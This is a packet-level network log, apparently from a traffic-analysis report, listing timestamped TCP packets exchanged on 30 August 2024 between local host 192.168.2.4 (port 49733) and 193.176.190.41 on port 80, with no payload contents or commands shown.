Aug 30, 2024 18:12:59.007322073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007333994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007374048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.007864952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007913113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007914066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.007925987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.007962942 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.008050919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.008061886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.008097887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.008677959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.008727074 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.008739948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.008750916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.008785963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.008866072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.008877039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.008913994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084563971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084595919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084609985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084624052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084641933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084651947 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084721088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084757090 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084772110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084811926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084827900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084868908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084892035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084930897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.084961891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.084973097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.085000992 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.085012913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.089679956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.089725018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.089726925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.089736938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.089761019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.089771986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.089822054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.089863062 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.089951038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.089961052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.089972019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.089989901 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.090013981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.090145111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.090153933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.090198994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.090261936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.090274096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.090312004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.090327978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.090373039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.090384007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.090415955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.090428114 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093548059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093604088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093610048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093616009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093646049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093655109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093662977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093702078 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093775034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093813896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093847036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093858004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093874931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.093888998 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093905926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.093919992 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.094269037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.094290018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.094300985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.094310045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.094327927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.094341993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.094445944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.094458103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.094468117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.094492912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.094507933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.095009089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095053911 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.095084906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095097065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095128059 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.095216036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095227957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095237970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095248938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095268965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.095936060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.095963955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.095983982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.096007109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096019030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096050978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.096076965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.096168041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096179962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096189976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096200943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096218109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.096251011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.096849918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096904993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.096918106 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.096955061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.165873051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.165901899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.165911913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.165946960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.165985107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.165997982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.166105032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.166105032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.166105032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.166125059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.166167021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171264887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171327114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171329021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171338081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171367884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171386957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171407938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171454906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171485901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171529055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171571016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171585083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171614885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171627045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171897888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171916962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.171941996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.171960115 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.176654100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.176706076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.176716089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.176716089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.176744938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.176759005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.176850080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.176861048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.176872015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.176883936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.176887035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.176908016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.176924944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177000046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177041054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177082062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177125931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177146912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177158117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177172899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177190065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177216053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177292109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177337885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177361965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177375078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177402020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177413940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177514076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177525043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177536011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.177558899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.177583933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180197954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180246115 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180289984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180304050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180334091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180347919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180380106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180392027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180419922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180439949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180458069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180510044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180573940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180589914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180615902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180629969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180674076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180730104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180757999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180771112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180799007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180810928 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180861950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180875063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.180900097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.180912018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181015015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181062937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181096077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181107998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181145906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181158066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181256056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181272030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181282043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181293964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181324005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181360960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181483984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181500912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181512117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181524038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181530952 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181570053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.181946039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.181992054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182003021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182013988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182039976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182059050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182177067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182188988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182199955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182210922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182224989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182239056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182271004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182369947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182389975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182411909 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182424068 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182456970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182467937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182478905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182506084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182528019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182708979 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182727098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182737112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182748079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182759047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182761908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182770014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182780981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.182787895 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.182811975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183037996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183089972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183248997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183296919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183343887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183357954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183389902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183402061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183437109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183449030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183476925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183491945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183634996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183646917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183657885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183669090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183682919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183690071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183706045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183729887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.183886051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183897972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.183933973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.184215069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.184257030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.184267998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.184278965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.184313059 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.184324980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.184364080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.253766060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.253777981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.253787994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.253839016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.253860950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.253914118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.253926039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.253967047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.254070044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.254081011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.254122972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.254210949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.254221916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.254232883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.254261971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.254273891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259253025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259264946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259274960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259310007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259339094 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259368896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259382010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259392023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259403944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259421110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259449005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259700060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259711027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259721041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259730101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259741068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259751081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259751081 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259763002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.259772062 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259790897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.259803057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263186932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263240099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263241053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263251066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263287067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263380051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263391972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263401031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263411045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.263432980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263451099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.263578892 CEST	80	49733	193.176.190.41	192.168.2.4
